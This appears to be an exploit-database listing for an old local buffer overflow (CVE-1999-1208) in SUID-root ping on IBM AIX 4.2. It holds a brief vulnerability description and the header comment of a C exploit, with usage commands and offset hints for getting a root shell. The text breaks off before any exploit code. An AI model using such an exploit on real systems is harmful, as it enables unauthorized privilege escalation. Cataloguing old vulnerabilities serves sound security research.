Description

IBM AIX 4.2 ping Buffer Overflow Vulnerability. CVE-1999-1208 . Local exploit for aix platform

                                        
                                            source: http://www.securityfocus.com/bid/387/info

A buffer overflow condition exists in some versions of /usr/sbin/ping under AIX. Given that ping is SUID root, this overflow allows malicious users to gain root from it.

/*
 *
 *   /usr/sbin/ping exploit (kinda' coded) by BeastMaster V
 *
 *   CREDITS: this is simpy a modified version of an exploit
 *   posted by Georgi Guninski (guninski@hotmail.com)
 *
 *   This will give a #rootshell# by overwriting a buffer
 *   in /usr/sbin/ping while ping is setuid to root.
 *   This exploit is designed for AIX 4.x on PPC platform.
 *
 *
 *   USAGE:
 *            $ cc -o foo -g aix_ping.c
 *            $ ./foo 5100
 *            #
 *
 *
 *   HINT: Try giving ranges from 5090 through 5500
 *
 *   DISCLAIMER: use this program in a responsible manner.

 *   --> for more goodies :-)
